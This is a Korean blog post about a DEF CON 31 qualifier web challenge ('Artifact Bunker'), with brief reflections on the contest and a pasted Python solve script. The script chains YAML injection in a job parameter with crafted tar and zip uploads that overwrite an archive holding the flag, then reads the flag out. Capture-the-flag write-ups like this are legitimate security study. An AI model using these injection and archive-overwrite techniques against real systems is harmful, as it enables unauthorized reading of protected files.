-
Prob
데프콘 31 예선전에서 첫 번째로 공개된 웹 문제입니다. zip 이나 tar 파일을 업로드 하는 기능이 있어 처음 Zip Slip 취약점을 생각하였지만.. 어림도 없는 소리.. 대회 끝나고 Writeup을 봤는데 뭔가 misc 느낌이 강한 문제인 거 같습니다. 그래도 확실히 세계 최고 대회인 만큼 뭔가 문제 퀄리티부터 다른 거 같네요... 이번 년도에는 아쉽게 budaejjigae 연합 팀으로 24등 마무리하여 본선 진출은 실패했지만 첫 시도 치고 (고수님들 덕분에) 정말 좋은 성적을 낸 거 같습니다. 감사합니다.
항상 부족함을 느낍니다.
내년엔 저도 실력 더 많이 올려오겠습니다.Exploit
from urllib import parse from websockets.sync.client import connect import base64 import urllib.parse import tarfile import io import random import re # seed for consistent compression size random.seed(0) URL = "ws://localhost:5555/ws/" # URL = "ws://artifact-bunker-6qh4dbttgztzy.shellweplayaga.me/ws/" TICKET = "ticket{ticketgoeshere}" class BunkerClient: def __init__(self, url: str, ticket: str): self.ws = connect(url, subprotocols=[parse.quote(ticket)]) def get_file(self, path: str): self.ws.send(f"download {path}") return self.ws.recv() def save_file(self, path: str): result = self.get_file(path) if "file" in result: [_, name, content] = result.split(" ") f = open(name, "wb") f.write(base64.b64decode(content)) return result def list_files(self, path: str): self.ws.send(f"list {path}") return self.ws.recv() def clean_all(self): self.ws.send(f"clean-all") return self.ws.recv() def run_job(self, p1: str, p2: str): self.ws.send(f"job {p1} {p2}") return self.ws.recv() def upload_file(self, name: str, content_as_b64: str): self.ws.send(f"upload {name} {content_as_b64}") return self.ws.recv() def upload_file_from(self, name: str, src: str): return self.upload_file(name, base64.b64encode(open(src, "rb").read()).decode()) client = BunkerClient(URL, TICKET) # YAML injection to get large tar file with flag contents at /data/flag.tar print(client.run_job('package', urllib.parse.quote('''flag" artifacts: - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - "flag.txt" - name: "ignore'''))) # make large zip file to overwrite part of flag tar # use random bytes to prevent compression from shrinking file too much zip1_fo = io.BytesIO(random.randbytes(17592)) # (we eyeballed the offset until it was correct) zip1_ti = tarfile.TarInfo(name='z' * 1585) # use large filename to hold EOCD of second zip zip1_ti.size = len(zip1_fo.getvalue()) # use flag.tar.tar so that it partially overwrites flag content tarfile as a zip at flag.tar with tarfile.open('flag.tar.tar', 'w') as tar: tar.addfile(zip1_ti, zip1_fo) print(client.upload_file_from("flag.tar.tar", "flag.tar.tar")) # go file properly creates flag.tar.zip with entries that have null bytes in filenames # go build zip.go # this zip file overwrites beginning of first zip, # with file entry name overwriting central directory of first zip print(client.upload_file_from("flag.tar.zip", "flag.tar.zip")) # confirm file exists # print(client.list_files('flag.tar')) # get flag files = client.get_file('flag.tar/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') b64 = files.split(' ')[-1] data = base64.b64decode(b64) # Regex pattern to search for flag pattern = b"flug{.*?}|flag{.*?}" matches = re.search(pattern, data) if matches: print("flag:", matches.group()) else: print("No flag found.") client.ws.close()
running the solve.py script after running go run zip.go gives the flag!
GitHub - luker983/ctf-writeups: CTF Write-Ups
CTF Write-Ups. Contribute to luker983/ctf-writeups development by creating an account on GitHub.
github.com
댓글